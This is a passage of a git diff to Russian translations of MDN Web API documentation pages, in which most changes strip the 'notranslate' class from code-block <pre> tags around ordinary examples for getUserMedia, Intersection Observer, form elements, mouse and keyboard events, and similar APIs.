<var>canvas</var>.captureStream(<var>frameRate</var>); +<pre class="syntaxbox"><var>MediaStream</var> = <var>canvas</var>.captureStream(<var>frameRate</var>); </pre> <h3 id="Параметры">Параметры</h3> @@ -32,7 +32,7 @@ translation_of: Web/API/HTMLCanvasElement/captureStream <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">// Поиск элемента canvas для захвата +<pre class="brush: js">// Поиск элемента canvas для захвата var canvasElt = document.querySelector("canvas"); // Получение потока diff --git a/files/ru/web/api/htmlelement/offsetleft/index.html b/files/ru/web/api/htmlelement/offsetleft/index.html index aace6b67d7..ec44a76d10 100644 --- a/files/ru/web/api/htmlelement/offsetleft/index.html +++ b/files/ru/web/api/htmlelement/offsetleft/index.html @@ -13,14 +13,14 @@ translation_of: Web/API/HTMLElement/offsetLeft <h2 id="Syntax">Syntax</h2> -<pre class="eval notranslate"><var>left</var> = <var>element</var>.offsetLeft; +<pre class="eval"><var>left</var> = <var>element</var>.offsetLeft; </pre> <p><code><var>left</var></code> is an integer representing the offset to the left in pixels <em>from the closest relatively positioned</em> parent element.</p> <h2 id="Example">Example</h2> -<pre class="brush: js notranslate">var colorTable = document.getElementById("t1"); +<pre class="brush: js">var colorTable = document.getElementById("t1"); var tOLeft = colorTable.offsetLeft; if (tOLeft > 5) { @@ -32,7 +32,7 @@ if (tOLeft > 5) { <p><img alt="Image:offsetLeft.jpg" class="internal" src="/@api/deki/files/790/=OffsetLeft.jpg"></p> -<pre class="brush: html notranslate"><div style="width: 300px; border-color:blue; border-style:solid; border-width:1;"> +<pre class="brush: html"><div style="width: 300px; border-color:blue; border-style:solid; border-width:1;"> <span>Short span. </span> <span id="longspan">Long span that wraps within this div.</span> </div> diff --git a/files/ru/web/api/htmlformelement/elements/index.html b/files/ru/web/api/htmlformelement/elements/index.html index dbd4e1ddcd..a1e9d8d068 100644 --- a/files/ru/web/api/htmlformelement/elements/index.html +++ b/files/ru/web/api/htmlformelement/elements/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/HTMLFormElement/elements <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate"><em>nodeList</em> = <em>HTMLFormElement</em>.elements +<pre class="syntaxbox"><em>nodeList</em> = <em>HTMLFormElement</em>.elements </pre> <h3 id="Value">Value</h3> @@ -34,13 +34,13 @@ translation_of: Web/API/HTMLFormElement/elements <p>In this example, we see how to obtain the list of form controls as well as how to access its members by index and by name or ID.</p> -<pre class="brush: html notranslate"><form id="my-form"> +<pre class="brush: html"><form id="my-form"> <input type="text" name="username"> <input type="text" name="full-name"> <input type="password" name="password"> </form></pre> -<pre class="brush:js notranslate">var inputs = document.getElementById("my-form").elements; +<pre class="brush:js">var inputs = document.getElementById("my-form").elements; var inputByIndex = inputs[0]; var inputByName = inputs["username"]; </pre> @@ -49,7 +49,7 @@ var inputByName = inputs["username"]; <p>This example gets the form's element list, then iterates over the list, looking for {{HTMLElement("input")}} elements of type <code><a href="/en-US/docs/Web/HTML/Element/input/text">"text"</a></code> so that some form of processing can be performed on them.</p> -<pre class="brush: js notranslate">var inputs = document.getElementById("my-form").elements; +<pre class="brush: js">var inputs = document.getElementById("my-form").elements; // Iterate over the form controls for (i = 0; i < inputs.length; i++) { @@ -62,7 +62,7 @@ for (i = 0; i < inputs.length; i++) { <h3 id="Disabling_form_controls">Disabling form controls</h3> -<pre class="brush: js notranslate">var inputs = document.getElementById("my-form").elements; +<pre class="brush: js">var inputs = document.getElementById("my-form").elements; // Iterate over the form controls for (i = 0; i < inputs.length; i++) { diff --git a/files/ru/web/api/htmlmediaelement/abort_event/index.html b/files/ru/web/api/htmlmediaelement/abort_event/index.html index 50d9bcfc9b..82045136cf 100644 --- a/files/ru/web/api/htmlmediaelement/abort_event/index.html +++ b/files/ru/web/api/htmlmediaelement/abort_event/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/HTMLMediaElement/abort_event <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">const video = document.querySelector('video'); +<pre class="brush: js">const video = document.querySelector('video'); const videoSrc = 'https://path/to/video.webm'; video.addEventListener('abort', () => { diff --git a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html index 8c3ac3595c..c4cab59903 100644 --- a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html +++ b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <p>Структура Web-приложений не очень сложна. Мы будем использовать <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> для стилизации и макетирования, так что всё достаточно очевидно:</p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <header> <h1>A Fake Blog</h1> <h2>Showing Intersection Observer in action!</h2> @@ -55,7 +55,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <p>Мы создаём стили для {{HTMLElement("body")}} и {{HTMLElement("main")}} так, чтобы определить фоновый цвет и сеточную систему.</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { font-family: "Open Sans", "Arial", "Helvetica", sans-serif; background-color: aliceblue; } @@ -83,7 +83,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <p>Заголовок достаточно прост, так как в нашем примере он содержит небольшой текст.</p> -<pre class="brush: css notranslate">header { +<pre class="brush: css">header { grid-column: 1 / -1; grid-row: 1; background-color: aliceblue; @@ -95,7 +95,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <p>Боковая панель используется для показа ссылок на другие страницы приложения. Ни одна из них не будет работать в нашем примере. Вся боковая панель нужна, чтобы просто приблизить внешний вид приложения к реальному блогу. Боковая панель создаётся с помощью элемента {{HTMLElement("aside")}}.</p> -<pre class="brush: css notranslate">aside { +<pre class="brush: css">aside { grid-column: 1; grid-row: 2; background-color: cornsilk; @@ -120,7 +120,7 @@ aside ul li a { <p>Контент будет содержаться в элементе {{HTMLElement("main")}}.</p> -<pre class="brush: css notranslate">main { +<pre class="brush: css">main { grid-column: 2; grid-row: 2; margin: 0; @@ -134,7 +134,7 @@ aside ul li a { <p>Каждая статья состоит из элемента {{HTMLElement("article")}}:</p> -<pre class="brush: css notranslate">article { +<pre class="brush: css">article { background-color: white; padding: 6px; } @@ -153,7 +153,7 @@ article h2 { <p>Наконец, рекламные блоки. Нужно заметить, что каждый отдельный рекламный блок может изменять свои стили динамически (мы увидим это позже):</p> -<pre class="brush: css notranslate">.ad { +<pre class="brush: css">.ad { height: 96px; padding: 6px; border-color: #555; @@ -187,7 +187,7 @@ article h2 { <p>Перейдём к JavaScript-коду, который всё оживит. Начнём с глобальных переменных:</p> -<pre class="brush: js notranslate">let contentBox; +<pre class="brush: js">let contentBox; let nextArticleID = 1; let visibleAds = new Set(); @@ -217,7 +217,7 @@ let refreshIntervalID = 0;</pre> <p>Для первичного запуска приложения мы вызовем функцию <code>startup()</code>:</p> -<pre class="brush: js notranslate">window.addEventListener("load", startup, false); +<pre class="brush: js">window.addEventListener("load", startup, false); function startup() { contentBox = document.querySelector("main"); @@ -253,7 +253,7 @@ function startup() { <p>Давайте рассмотрим обработчик события {{event("visibilitychange")}}. Это событие срабатывает, когда документ становится видим или невидим. Как правило, это случается, когда пользователь переключается между табами. Так как Intersection Observer отслеживает только перекрытия элемента с корневым элементом, нам необходимо отдельно позаботиться о детекции видимости документа. Для этого мы используем <a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility API</a>.</p> -<pre class="brush: js notranslate">function handleVisibilityChange() { +<pre class="brush: js">function handleVisibilityChange() { if (document.hidden) { if (!previouslyVisibleAds) { previouslyVisibleAds = visibleAds; @@ -282,7 +282,7 @@ function startup() { <p>При каждой итерации в браузерном event loop, каждый наблюдатель {{domxref("IntersectionObserver")}} проверяет, не прошёл ли какой-либо из элементов-целей через пороговые значения наблюдателя. Для каждого наблюдателя список таких целей собирается в один список и отправляется в колбэк-функцию наблюдателя. Каждый элемент списка - это {{domxref("IntersectionObserverEntry")}} объект. В нашем приложении <code>intersectionCallback()</code> выглядит так:</p> -<pre class="brush: js notranslate">function intersectionCallback(entries) { +<pre class="brush: js">function intersectionCallback(entries) { entries.forEach(function(entry) { let adBox = entry.target; @@ -308,7 +308,7 @@ function startup() { <p>Каждую секунду у нас срабатывает интервал <code>handleRefreshInterval()</code>, который мы задали в функции <code>startup()</code>. Главная задача этого интервала - обновлять таймеры каждую секунду и перерисовывать значение таймеров.</p> -<pre class="brush: js notranslate">function handleRefreshInterval() { +<pre class="brush: js">function handleRefreshInterval() { let redrawList = []; visibleAds.forEach(function(adBox) { @@ -339,7 +339,7 @@ function startup() { <p>Ранее мы уже видели, что если нам нужно обновить общее время видимости рекламы - мы вызываем функцию <code>updateAdTimer()</code>. Эта функция принимает в качестве аргумента объект {{domxref("HTMLDivElement")}}.</p> -<pre class="brush: js notranslate">function updateAdTimer(adBox) { +<pre class="brush: js">function updateAdTimer(adBox) { let lastStarted = adBox.dataset.lastViewStarted; let currentTime = performance.now(); @@ -373,7 +373,7 @@ function startup() { <p>Внутри каждого рекламного блока мы отображаем текущее значение общего времени видимости в формате мин:сек. Для этого мы передаём в функцию <code>drawAdTimer</code> контейнер:</p> -<pre class="brush: js notranslate">function drawAdTimer(adBox) { +<pre class="brush: js">function drawAdTimer(adBox) { let timerBox = adBox.querySelector(".timer"); let totalSeconds = adBox.dataset.totalViewTime / 1000; let sec = Math.floor(totalSeconds % 60); @@ -390,7 +390,7 @@ function startup() { <p>Функция <code>buildContents()</code> вызывается при старте приложения. Она формирует тело статьи и добавляет рекламные блоки:</p> -<pre class="brush: js notranslate">let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" + +<pre class="brush: js">let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" + " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" + " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" + " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" + @@ -419,7 +419,7 @@ function buildContents() { <p>Для создания элемента статьи {{HTMLElement("article")}} и её содержимого мы используем функцию <code>createArticle()</code>, которая в качестве входных данных принимает строку-текст статьи.</p> -<pre class="brush: js notranslate">function createArticle(contents) { +<pre class="brush: js">function createArticle(contents) { let articleElem = document.createElement("article"); articleElem.id = nextArticleID; @@ -440,7 +440,7 @@ function buildContents() { <p>Функция <code>loadRandomAd()</code> имитирует загрузку рекламы и её добавление на страницу. Если вы не указываете значение для <code>replaceBox</code>, создаётся и применяется новый контейнер для рекламы. Если вы указали <code>replaceBox</code>, этот контейнер рассматривается, как уже существующий элемент. Вместо создания нового, существующий элемент изменяется, чтобы содержать актуальные данные. Это помогает избежать риска неэффективной перерисовки элементов, если вы сначала будете удалять элемент из DOM, а затем вставлять новый.</p> -<pre class="brush: js notranslate">function loadRandomAd(replaceBox) { +<pre class="brush: js">function loadRandomAd(replaceBox) { let ads = [ { bgcolor: "#cec", @@ -537,7 +537,7 @@ function buildContents() { <p>Наша {{anch("Handling intersection changes", "функция обработки перекрытия")}} отслеживает рекламные блоки. Когда они становятся на 100% и общее время их видимости достаточное для того, рекламный блок заменяется на новый. Когда это происходит, вызывается функция <code>replaceAd()</code>.</p> -<pre class="brush: js notranslate">function replaceAd(adBox) { +<pre class="brush: js">function replaceAd(adBox) { let visibleTime; updateAdTimer(adBox); diff --git a/files/ru/web/api/keyboardevent/altkey/index.html b/files/ru/web/api/keyboardevent/altkey/index.html index 2f728d093f..615078acee 100644 --- a/files/ru/web/api/keyboardevent/altkey/index.html +++ b/files/ru/web/api/keyboardevent/altkey/index.html @@ -9,12 +9,12 @@ translation_of: Web/API/KeyboardEvent/altKey <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>altKeyPressed</em> = <em>instanceOfKeyboardEvent</em>.altKey +<pre class="syntaxbox">var <em>altKeyPressed</em> = <em>instanceOfKeyboardEvent</em>.altKey </pre> <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate"><html> +<pre class="brush: js"><html> <head> <title>altKey example</title> diff --git a/files/ru/web/api/location/reload/index.html b/files/ru/web/api/location/reload/index.html index 1b92be71f9..271f81772b 100644 --- a/files/ru/web/api/location/reload/index.html +++ b/files/ru/web/api/location/reload/index.html @@ -17,12 +17,12 @@ translation_of: Web/API/Location/reload <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>location</em>.reload(); +<pre class="syntaxbox"><em>location</em>.reload(); </pre> <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">// Перезагрузить текущую страницу +<pre class="brush: js">// Перезагрузить текущую страницу document.location.reload();</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/location/replace/index.html b/files/ru/web/api/location/replace/index.html index 2a33c1a694..398c9637a4 100644 --- a/files/ru/web/api/location/replace/index.html +++ b/files/ru/web/api/location/replace/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/Location/replace <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>object</em>.replace(<em>url</em>); +<pre class="syntaxbox"><em>object</em>.replace(<em>url</em>); </pre> <h3 id="Параметры">Параметры</h3> @@ -31,7 +31,7 @@ translation_of: Web/API/Location/replace <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">// Перейти на статью Location.reload, заменив текущую страницу +<pre class="brush: js">// Перейти на статью Location.reload, заменив текущую страницу document.location.replace('https://developer.mozilla.org/en-US/docs/Web/API/Location.reload');</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/media_session_api/index.html b/files/ru/web/api/media_session_api/index.html index a48ea17748..d309040785 100644 --- a/files/ru/web/api/media_session_api/index.html +++ b/files/ru/web/api/media_session_api/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/Media_Session_API <p>Главный интерфейс Media Session API -- {{domxref("MediaSession")}}. Не нужно создавать собственный экземпляр <code>MediaSession</code>, доступ к API осуществляется через свойство {{domxref("navigator.mediaSession")}}. Например, следующий код укажет, что страница воспроизводит медиа в данный момент:</p> -<pre class="brush: js notranslate">navigator.mediaSession.playbackState = "playing";</pre> +<pre class="brush: js">navigator.mediaSession.playbackState = "playing";</pre> <h2 id="Интерфейсы">Интерфейсы</h2> @@ -50,7 +50,7 @@ translation_of: Web/API/Media_Session_API <p>Данный пример демонстрирует работу и определение доступности Media Session API. Также, он передаёт метаданные и определяет собственные обработчики событий:</p> -<pre class="brush: js notranslate">if ('mediaSession' in navigator) { +<pre class="brush: js">if ('mediaSession' in navigator) { navigator.mediaSession.metadata = new MediaMetadata({ title: 'Unforgettable', artist: 'Nat King Cole', @@ -75,7 +75,7 @@ translation_of: Web/API/Media_Session_API <p>Некоторые браузеры отключают автовоспроизведение медиаэлементов на мобильных устройствах и требуют действий пользователя для начала воспроизведения. Этот пример добавит обработчик события <code>pointerup</code> для кнопки воспроизведения на странице, который начнёт работу с медиасессией:</p> -<pre class="brush: js notranslate">playButton.addEventListener('pointerup', function(event) { +<pre class="brush: js">playButton.addEventListener('pointerup', function(event) { var audio = document.querySelector('audio'); // Пользователь нажал кнопку, начинаем воспроизведение... diff --git a/files/ru/web/api/mediadevices/getusermedia/index.html b/files/ru/web/api/mediadevices/getusermedia/index.html index 5946146162..c6f8390675 100644 --- a/files/ru/web/api/mediadevices/getusermedia/index.html +++ b/files/ru/web/api/mediadevices/getusermedia/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Обычно, разработчик получает доступ к единственному экземпляру объекта {{domxref("MediaDevices")}} , используя {{domxref("navigator.mediaDevices.getUserMedia()")}} метод, возвращающий поток:</p> -<pre class="brush: js notranslate">async function getMedia(constraints) { +<pre class="brush: js">async function getMedia(constraints) { let stream = null; try { @@ -29,7 +29,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Тот же результат, но используя тип промиса :</p> -<pre class="brush: js notranslate">navigator.mediaDevices.getUserMedia(constraints) +<pre class="brush: js">navigator.mediaDevices.getUserMedia(constraints) .then(function(stream) { /* используем поток */ }) @@ -43,7 +43,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <var>promise</var> = navigator.mediaDevices.getUserMedia(<var>constraints</var>); +<pre class="syntaxbox">var <var>promise</var> = navigator.mediaDevices.getUserMedia(<var>constraints</var>); </pre> <h3 id="Параметры">Параметры</h3> @@ -57,13 +57,13 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Следующий отрывок кода запрашивает и <code>audio</code> и <code>video</code><strong> </strong>типы без дополнительных условий:</p> - <pre class="brush: js notranslate">{ audio: true, video: true }</pre> + <pre class="brush: js">{ audio: true, video: true }</pre> <p>Если определяется значение <code>true</code> для медиатипа, результирующий поток обязательно будет иметь в себе запрошенный медиатип. Если ни один из типов не включается в запрос, вызов метода <code>getUserMedia()</code> приведёт к ошибке.</p> <p>Если полная информация о камерах и микрофонах пользователя недоступна по причинам конфиденциальности, приложение может запросить доступ только к необходимым ему функциям, используя дополнительные условия. Следующий пример запрашивает видеотрек с разрешением камеры 1280x720 пикселей:</p> - <pre class="brush: js notranslate">{ + <pre class="brush: js">{ audio: true, video: { width: 1280, height: 720 } }</pre> @@ -72,7 +72,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Для минимального, максимального и точного определения значения можно использовать ключевые слова <code>min</code>, <code>max</code>, или <code>exac</code>. Следующий пример запрашивает минимальное разрешение камеры 1280x720:</p> - <pre class="brush: js notranslate">{ + <pre class="brush: js">{ audio: true, video: { width: { min: 1280 }, @@ -84,7 +84,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Различие поведения происходит по причине того, что ключевые слова <code>min</code>, <code>max</code>, и <code>exact</code> являются обязательными к выполнению. В то время как простые значения и ключевое слово <code>ideal</code> - не обязательные к выполнению. Ниже, полный пример:</p> - <pre class="brush: js notranslate">{ + <pre class="brush: js">{ audio: true, video: { width: { min: 1024, ideal: 1280, max: 1920 }, @@ -96,7 +96,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Простые значения работают как идеальные, поэтому один из первых примеров выше можно переписать, используя свойство <code>ideal </code>:</p> - <pre class="brush: js notranslate">{ + <pre class="brush: js">{ audio: true, video: { width: { ideal: 1280 }, @@ -106,19 +106,19 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Не все значения ограничений являются числовыми. К примеру, на мобильных устройствах следующий отрывок будет запрашивать переднюю камеру (если присутствует) , поэтому в свойстве <code>facingMode</code> указано строковое значение <code>user</code>:</p> - <pre class="brush: js notranslate">{ audio: true, video: { facingMode: "user" } }</pre> + <pre class="brush: js">{ audio: true, video: { facingMode: "user" } }</pre> <p>Запрос обратной (задней) камеры:</p> - <pre class="brush: js notranslate">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre> + <pre class="brush: js">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre> <p>Следующее строковое свойство - <code>deviceId</code> (идентификатор устройства). Его значение может быть получено из метода {{domxref("mediaDevices.enumerateDevices()")}}, возвращающего список, имеющихся на машине устройств, с их идентификаторами, и может быть использовано для запроса определённого устройства по идентификатору этого устройства:</p> - <pre class="brush: js notranslate">{ video: { deviceId: идентификаторНужнойКамеры } }</pre> + <pre class="brush: js">{ video: { deviceId: идентификаторНужнойКамеры } }</pre> <p>Код выше вернёт запрашиваемую камеру или другую камеру, если требуемая камера недоступна. Для получения доступа к потоку только определённой камеры, без альтернативы, используется свойство <code>exact</code> (точно) :</p> - <pre class="brush: js notranslate">{ video: { deviceId: { exact: идентификаторНужнойКамеры } } }</pre> + <pre class="brush: js">{ video: { deviceId: { exact: идентификаторНужнойКамеры } } }</pre> </dd> </dl> @@ -188,15 +188,15 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>К примеру, строка HTTP заголовка позволит использовать камеру документу и любым встроенные {{HTMLElement("iframe")}} элементам, которые загружаются из одного источника:</p> -<pre class="notranslate">Feature-Policy: camera 'self'</pre> +<pre>Feature-Policy: camera 'self'</pre> <p>Строка ниже, запрашивает доступ к микрофону для текущего источника и указанном в заголовке источнике <code>https://developer.mozilla.org</code>:</p> -<pre class="notranslate">Feature-Policy: microphone 'self' https://developer.mozilla.org</pre> +<pre>Feature-Policy: microphone 'self' https://developer.mozilla.org</pre> <p>Если используется <code>getUserMedia()</code> внутри элемента <code><iframe></code>, можно запросить разрешение только для этого фрейма, которое явно более безопаснее, чем запрашивать более общее разрешение. Здесь нам нужно использовать и камеру и микрофон:</p> -<pre class="brush: html notranslate"><iframe src="https://mycode.example.net/etc" allow="camera;microphone"> +<pre class="brush: html"><iframe src="https://mycode.example.net/etc" allow="camera;microphone"> </iframe></pre> <p>Прочитайте наше руководство <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Применение функциональной политики </a>, изучив подробнее то, как это работает.</p> @@ -221,7 +221,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Этот пример выбирает указанное разрешение камеры и присваивает ссылку на объект {{domxref("MediaStream")}} свойству <code>srcObject</code> элемента <code>video</code> .</p> -<pre class="brush: js notranslate">// Выбирает разрешение камеры близкое к 1280x720. +<pre class="brush: js">// Выбирает разрешение камеры близкое к 1280x720. var constraints = { audio: true, video: { width: 1280, height: 720 } }; navigator.mediaDevices.getUserMedia(constraints) @@ -239,7 +239,7 @@ navigator.mediaDevices.getUserMedia(constraints) <p>Ниже, находятся примеры, использующие <code>navigator.mediaDevices.getUserMedia()</code>, с полифилами для работы в старых браузерах. Обратите внимание, что эти полифилы не корректируют все различия в синтаксисе, и не работают во всех браузерах. Рекомендуется использовать библиотеку <a href="https://github.com/webrtc/adapter">adapter.js</a> , как производственный полифил.</p> -<pre class="brush: js notranslate">// Старые браузеры могут не реализовывать свойство mediaDevices, +<pre class="brush: js">// Старые браузеры могут не реализовывать свойство mediaDevices, // поэтому сначала присваиваем свойству ссылку на пустой объект if (navigator.mediaDevices === undefined) { @@ -296,14 +296,14 @@ navigator.mediaDevices.getUserMedia({ audio: true, video: true }) <p>В некоторых случаях может быть желательна более низкая частота кадров, например, при передаче WebRTC с ограничениями полосы пропускания</p> -<pre class="brush: js notranslate">var constraints = { video: { frameRate: { ideal: 10, max: 15 } } }; +<pre class="brush: js">var constraints = { video: { frameRate: { ideal: 10, max: 15 } } }; </pre> <h3 id="Передняя_и_задняя_камеры">Передняя и задняя камеры</h3> <p>На мобильных устройствах.</p> -<pre class="brush: js notranslate">var front = false; +<pre class="brush: js">var front = false; document.getElementById('flip-button').onclick = function() { front = !front; }; var constraints = { video: { facingMode: (front? "user" : "environment") } }; diff --git a/files/ru/web/api/mediatrackconstraints/echocancellation/index.html b/files/ru/web/api/mediatrackconstraints/echocancellation/index.html index 478f66dcf1..33ea4c5fb1 100644 --- a/files/ru/web/api/mediatrackconstraints/echocancellation/index.html +++ b/files/ru/web/api/mediatrackconstraints/echocancellation/index.html @@ -25,7 +25,7 @@ original_slug: Web/API/MediaTrackConstraints/Эхоподавление <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">const <em>constraintsObject</em> = { +<pre class="syntaxbox">const <em>constraintsObject</em> = { echoCancellation: <em>constraint,</em> }; diff --git a/files/ru/web/api/mouseevent/button/index.html b/files/ru/web/api/mouseevent/button/index.html index 96335d7b92..92dcf05573 100644 --- a/files/ru/web/api/mouseevent/button/index.html +++ b/files/ru/web/api/mouseevent/button/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/MouseEvent/button <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>buttonPressed</em> = <em>instanceOfMouseEvent</em>.button +<pre class="syntaxbox">var <em>buttonPressed</em> = <em>instanceOfMouseEvent</em>.button </pre> <h3 id="Возвращаемые_значения">Возвращаемые значения</h3> @@ -36,7 +36,7 @@ translation_of: Web/API/MouseEvent/button <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate"><script> +<pre class="brush: js"><script> var whichButton = function (e) { // Handle different event models var e = e || window.event; diff --git a/files/ru/web/api/mouseevent/ctrlkey/index.html b/files/ru/web/api/mouseevent/ctrlkey/index.html index 7c2844f4a7..d25c7af786 100644 --- a/files/ru/web/api/mouseevent/ctrlkey/index.html +++ b/files/ru/web/api/mouseevent/ctrlkey/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/MouseEvent/ctrlKey <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>ctrlKeyPressed</em> = <em>instanceOfMouseEvent</em>.ctrlKey +<pre class="syntaxbox">var <em>ctrlKeyPressed</em> = <em>instanceOfMouseEvent</em>.ctrlKey </pre> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -18,7 +18,7 @@ translation_of: Web/API/MouseEvent/ctrlKey <h2 id="Example">Пример</h2> -<pre class="brush: js notranslate"><html> +<pre class="brush: js"><html> <head> <title>Пример с ctrlKey</title> diff --git a/files/ru/web/api/navigator/getusermedia/index.html b/files/ru/web/api/navigator/getusermedia/index.html index 3bd6f9e60f..664d4832e0 100644 --- a/files/ru/web/api/navigator/getusermedia/index.html +++ b/files/ru/web/api/navigator/getusermedia/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Navigator/getUserMedia <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">navigator.getUserMedia(<var>constraints</var>, <var>successCallback</var>, <var>errorCallback</var>);</pre> +<pre class="syntaxbox">navigator.getUserMedia(<var>constraints</var>, <var>successCallback</var>, <var>errorCallback</var>);</pre> <h3 id="Параметры">Параметры</h3> @@ -24,7 +24,7 @@ translation_of: Web/API/Navigator/getUserMedia <dd>{{domxref("MediaStreamConstraints")}} <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>объект, определяющий типы запрашиваемых медиа, а также любые требования для каждого типа.</span></span> <span class="ChMk0b JLqJ4b"><span>Подробнее см. В разделе ограничений современного метода {{domxref ("MediaDevices.getUserMedia ()")}}, а также в статье</span></span></span> <a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Возможности, ограничения и настройки.</a></dd> <dt><code><var>successCallback</var></code></dt> <dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Функция, которая вызывается при утверждении запроса на доступ к мультимедиа.</span></span> <span class="ChMk0b JLqJ4b"><span>Функция вызывается с одним параметром: объектом {{domxref ("MediaStream")}}, который содержит медиапоток.</span></span> <span class="ChMk0b JLqJ4b"><span>Затем колбэк может назначить поток желаемому объекту (например, элементу {{HTMLElement ("audio")}} или {{HTMLElement ("video")}}), как показано в следующем примере:</span></span></span> - <pre class="brush: js notranslate">function(stream) { + <pre class="brush: js">function(stream) { var video = document.querySelector('video'); video.srcObject = stream; video.onloadedmetadata = function(e) { @@ -50,7 +50,7 @@ translation_of: Web/API/Navigator/getUserMedia <p>Это пример использования <code>getUserMedia()</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>, включая код для работы с префиксами различных браузеров.</span></span> <span class="ChMk0b JLqJ4b"><span>Обратите внимание, что это устаревший способ сделать это: современные примеры см. В разделе «Примеры» в разделе {{domxref ("MediaDevices.getUserMedia ()")}}.</span></span></span></p> -<pre class="brush: js notranslate">navigator.getUserMedia = navigator.getUserMedia || +<pre class="brush: js">navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia; @@ -76,7 +76,7 @@ if (navigator.getUserMedia) { <p class="syntaxbox"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Чтобы использовать</span></span></span><code>getUserMedia()</code><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span><code> </code>в устанавливаемом приложении (например, приложении Firefox OS), вам необходимо указать одно или оба из следующих полей внутри файла манифеста:</span></span></span></p> -<pre class="brush: js notranslate">"permissions": { +<pre class="brush: js">"permissions": { "audio-capture": { "description": "Required to capture audio using getUserMedia()" }, diff --git a/files/ru/web/api/navigator/mediadevices/index.html b/files/ru/web/api/navigator/mediadevices/index.html index 308c1a8450..7cf343c970 100644 --- a/files/ru/web/api/navigator/mediadevices/index.html +++ b/files/ru/web/api/navigator/mediadevices/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Navigator/mediaDevices <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>mediaDevices</em> = navigator.mediaDevices; +<pre class="syntaxbox">var <em>mediaDevices</em> = navigator.mediaDevices; </pre> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> diff --git a/files/ru/web/api/network_information_api/index.html b/files/ru/web/api/network_information_api/index.html index ca66acea26..808ca544f1 100644 --- a/files/ru/web/api/network_information_api/index.html +++ b/files/ru/web/api/network_information_api/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Network_Information_API <p>Данный пример отслеживает изменение подключения пользователя.</p> -<pre class="brush: js notranslate">var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; +<pre class="brush: js">var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; var type = connection.effectiveType; function updateConnectionStatus() { @@ -30,7 +30,7 @@ connection.addEventListener('change', updateConnectionStatus); <p>The connection object is useful for deciding whether to preload resources that take large amounts of bandwidth or memory. This example would be called soon after page load to check for a connection type where preloading a video may not be desirable. If a cellular connection is found, then the <code>preloadVideo</code> flag is set to false. For simplicity and clarity, this example only tests for one connection type. A real-world use case would likely use a switch statement or some other method to check all of the possible values of {{domxref("NetworkInformation.type")}}. Regardless of the <code>type</code> value 